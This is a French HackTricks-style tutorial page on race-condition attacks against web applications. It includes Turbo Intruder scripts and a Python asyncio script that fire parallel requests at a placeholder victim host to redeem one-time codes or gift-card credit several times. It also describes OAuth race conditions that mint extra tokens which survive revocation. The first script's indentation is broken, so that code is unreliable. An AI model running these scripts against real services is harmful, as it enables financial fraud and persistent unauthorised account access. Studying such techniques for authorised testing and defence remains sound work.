Condition de course

Utilisez Trickest pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
Découvrez The PEASS Family, notre collection exclusive de NFT
Obtenez le swag officiel PEASS & HackTricks
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
Partagez vos astuces de piratage en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.

Tout ce qui est limité par un nombre de tentatives

Les conditions de course sont des vulnérabilités qui apparaissent sur les sites web qui limitent le nombre de fois où vous pouvez effectuer une action. Un exemple très simple peut être trouvé dans ce rapport.

Utilisation de plusieurs fois un code à usage unique

Lorsque vous faites en sorte que la page web effectue une action qui ne doit être effectuée qu'une seule fois, mais si l'action est effectuée plusieurs fois, vous serez bénéficié, vous devez vraiment essayer une condition de course.
La plupart du temps, cela est directement lié à l'argent (si une action est effectuée, vous obtenez X argent, alors essayons de la faire plusieurs fois très rapidement).

Utilisation du même code à partir du même compte plusieurs fois

Par exemple, dans ce bug, le chasseur a pu charger l'argent dans une carte cadeau plusieurs fois.

Voici le script turbo intruder utilisé pour tester la condition de course du rapport mentionné :

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False
                           )

   for i in range(30):
    engine.queue(target.req, i)
        engine.queue(target.req, target.baseInput, gate='race1')


    engine.start(timeout=5)
   engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)

En utilisant également BURP, vous pouvez envoyer la requête à Intruder, définir le nombre de threads à 30 dans le menu Options et sélectionner comme charge utile Null payloads et générer 30.

Utilisation du même code à partir de différents comptes

Si la proposition précédente n'a pas fonctionné (essayez d'utiliser le même code plusieurs fois à partir du même compte), vous pouvez essayer une variante : essayez d'utiliser le même code à partir de différents comptes :

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           pipeline=False
                           )
    a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
    for i in range(len(a)):
        engine.queue(target.req,a[i], gate='race1')
    # open TCP connections and send partial requests
    engine.start(timeout=10)
    engine.openGate('race1')
    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)

Utilisation de Python

import asyncio
import httpx

async def use_code(client):
    resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
    return resp.text

async def main():
    async with httpx.AsyncClient() as client:
        tasks = []
        for _ in range(20): #20 times
            tasks.append(asyncio.ensure_future(use_code(client)))
        
        # Get responses
        results = await asyncio.gather(*tasks, return_exceptions=True)
        
        # Print results
        for r in results:
            print(r)
        
        # Async2sync sleep
        await asyncio.sleep(0.5)
    print(results)

asyncio.run(main())

Persistance éternelle OAuth2

Il existe plusieurs fournisseurs OAuth. Ces services vous permettent de créer une application et d'authentifier les utilisateurs que le fournisseur a enregistrés. Pour ce faire, le client devra autoriser votre application à accéder à certaines de leurs données à l'intérieur du fournisseur OAuth.
Jusqu'ici, il s'agit simplement d'une connexion courante avec Google/LinkedIn/GitHub... où vous êtes invité avec une page disant : "L'application <InsertCoolName> veut accéder à vos informations, voulez-vous l'autoriser ?"

Course Conditionnelle dans `authorization_code`

Le problème apparaît lorsque vous l'acceptez et envoie automatiquement un authorization_code à l'application malveillante. Ensuite, cette application abuse d'une course conditionnelle dans le fournisseur OAuth pour générer plus d'un AT/RT (Authentication Token/Refresh Token) à partir du authorization_code pour votre compte. Fondamentalement, elle va abuser du fait que vous avez accepté l'application pour accéder à vos données pour créer plusieurs comptes. Ensuite, si vous arrêtez d'autoriser l'application à accéder à vos données, une paire de AT/RT sera supprimée, mais les autres seront toujours valides.

Course Conditionnelle dans `Refresh Token`

Une fois que vous avez obtenu un RT valide, vous pouvez essayer de l'abuser pour générer plusieurs AT/RT et même si l'utilisateur annule les autorisations pour l'application malveillante d'accéder à ses données, plusieurs RT seront toujours valides.

Références